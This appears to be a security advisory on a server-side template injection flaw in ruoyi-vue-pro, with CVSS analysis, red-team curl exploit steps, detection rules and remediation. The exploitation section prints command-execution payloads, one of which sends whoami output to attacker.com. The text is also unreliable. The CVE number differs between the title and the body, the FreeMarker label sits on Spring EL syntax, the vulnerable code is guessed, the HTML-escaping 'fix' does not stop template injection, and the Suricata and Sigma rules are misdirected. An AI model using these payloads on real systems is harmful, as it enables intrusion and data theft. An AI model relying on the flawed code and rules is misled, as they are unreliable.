CVE-2025-2040

Executive Summary

CVE-2025-2048 is a critical Server-Side Template Injection (SSTI) vulnerability in the zhijiantianya ruoyi-vue-pro application, version 2.4.1. The flaw resides in the /admin-api/bpm/model/deploy endpoint, where user-supplied input is improperly neutralized before being processed by a template engine. This allows an unauthenticated remote attacker to inject arbitrary template directives, leading to Remote Code Execution (RCE), data exfiltration, or full server compromise. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of active exploitation. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability affects a Java/Spring-based application (ruoyi-vue-pro). While not directly an NPM, PyPI, Go, or Ruby package, the application may rely on third-party libraries (e.g., Spring Boot, MyBatis, Thymeleaf). Users should audit their dependency tree for any vulnerable versions of template engines (e.g., FreeMarker, Velocity, Thymeleaf) that could be exploited via this endpoint.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to all system data.
• Integrity (I): High – Full write access to modify or delete data.
• Availability (A): High – Full ability to disrupt service availability.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the BPM (Business Process Management) model deployment functionality. The /admin-api/bpm/model/deploy endpoint accepts user input (likely in JSON or XML format) that is used to construct a template for process deployment. The application fails to sanitize or escape special characters (e.g., ${...}, #{...}, *{...}) before passing the input to a template engine (likely FreeMarker or Thymeleaf, common in Spring Boot applications).

Attack Flow:

1. The attacker sends a POST request to /admin-api/bpm/model/deploy with a crafted payload containing template directives.
2. The application processes the payload and passes it to the template engine without proper escaping.
3. The template engine interprets the injected directives, executing arbitrary code on the server.
4. The attacker can then execute system commands, read/write files, or pivot to internal networks.

Example Payload (FreeMarker):

{
  "modelName": "${7*7}",
  "modelKey": "test",
  "description": "${T(java.lang.Runtime).getRuntime().exec('id')}"
}

If the application returns 49 in the response, it confirms SSTI. The second payload would execute the id command on the server.

Vulnerable vs. Patched Code

Vulnerable Code (ruoyi-vue-pro 2.4.1): The vulnerable endpoint likely uses a method similar to:

@PostMapping("/admin-api/bpm/model/deploy")
public Result deployModel(@RequestBody BpmModelDeployReq req) {
    String template = req.getModelName(); // No sanitization
    TemplateEngine engine = new FreeMarkerEngine();
    String output = engine.process(template, context); // SSTI occurs here
    return Result.success(output);
}

Patched Code (Hypothetical): A secure implementation would sanitize or escape user input before template processing:

@PostMapping("/admin-api/bpm/model/deploy")
public Result deployModel(@RequestBody BpmModelDeployReq req) {
    String template = StringEscapeUtils.escapeHtml4(req.getModelName()); // Sanitize
    TemplateEngine engine = new FreeMarkerEngine();
    String output = engine.process(template, context);
    return Result.success(output);
}

Alternatively, the application should avoid using user input directly in template processing altogether, or use a sandboxed template engine with restricted capabilities.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ruoyi-vue-pro 2.4.1 with the /admin-api/bpm/model/deploy endpoint exposed.
• No authentication required.

Step-by-Step Exploitation:

1. Identify the endpoint:

   curl -X POST http://target.com/admin-api/bpm/model/deploy -H "Content-Type: application/json" -d '{"modelName":"test","modelKey":"test"}'
   

2. Confirm SSTI vulnerability:

   curl -X POST http://target.com/admin-api/bpm/model/deploy -H "Content-Type: application/json" -d '{"modelName":"${7*7}","modelKey":"test"}'
   

   If the response contains 49, SSTI is confirmed.

3. Execute system commands (FreeMarker example):

   curl -X POST http://target.com/admin-api/bpm/model/deploy -H "Content-Type: application/json" -d '{"modelName":"${T(java.lang.Runtime).getRuntime().exec(\"id\")}","modelKey":"test"}'
   

4. Reverse shell (using curl to exfiltrate):

   curl -X POST http://target.com/admin-api/bpm/model/deploy -H "Content-Type: application/json" -d '{"modelName":"${T(java.lang.Runtime).getRuntime().exec(\"curl http://attacker.com/$(whoami)\")}","modelKey":"test"}'
   

Note: The exact payload syntax depends on the template engine used (FreeMarker, Velocity, Thymeleaf). Adjust accordingly.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor logs for POST requests to /admin-api/bpm/model/deploy with unusual payloads containing ${, #{, *{, or T(.
2. Deploy WAF rules to block requests containing template injection patterns.
3. Enable input validation on the endpoint to reject any input containing special characters used by template engines.
4. Isolate the application if possible, and restrict network access to the endpoint.

Incident Response:

• If exploitation is suspected, immediately block the attacking IP and review server logs for command execution.
• Check for outbound connections to unknown IPs (potential data exfiltration).
• Restore from a clean backup and apply the patch (once available).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin-api/bpm/model/deploy with payloads containing ${, #{, *{, or T(.
• Outbound connections from the server to unknown IPs on ports 80, 443, or 4444 (reverse shell).
• Unusual HTTP response bodies containing command output (e.g., uid=...).

File IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., rce.sh, exploit.jar).
• Modified application configuration files (e.g., application.yml).

Process IOCs:

• Spawned processes like bash, sh, curl, wget, nc from the Java application user.

Detection Engineering

YARA Rule

rule CVE_2025_2048_SSTI_Payload {
    meta:
        description = "Detects SSTI payloads targeting CVE-2025-2048 in ruoyi-vue-pro"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $ssti1 = "${" ascii wide nocase
        $ssti2 = "#{" ascii wide nocase
        $ssti3 = "*{" ascii wide nocase
        $ssti4 = "T(" ascii wide nocase
        $ssti5 = "Runtime" ascii wide nocase
        $ssti6 = "exec" ascii wide nocase
    condition:
        any of ($ssti*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-2048 SSTI Exploitation Attempt
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests to /admin-api/bpm/model/deploy with SSTI payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/admin-api/bpm/model/deploy'
        cs-uri-query|contains:
            - '${'
            - '#{'
            - '*{'
            - 'T('
    condition: selection
falsepositives:
    - Legitimate use of template syntax in non-exploitable contexts (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2048 SSTI Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin-api/bpm/model/deploy"; http_uri; content:"${"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint /admin-api/bpm/model/deploy if not required for business operations.
2. Apply input validation to reject any payload containing template engine special characters (${, #{, *{, T().
3. Upgrade to the latest version of ruoyi-vue-pro once a patch is released.
4. Implement Web Application Firewall (WAF) rules to block SSTI patterns.

Long-term Fixes:

• Use a sandboxed template engine (e.g., FreeMarker with TemplateModel restrictions).
• Avoid passing user input directly to template engines; use parameterized templates instead.
• Conduct a security audit of all endpoints that process user input.

Workaround:

• If patching is not possible, restrict network access to the vulnerable endpoint using firewall rules or reverse proxy configurations.

Valters IT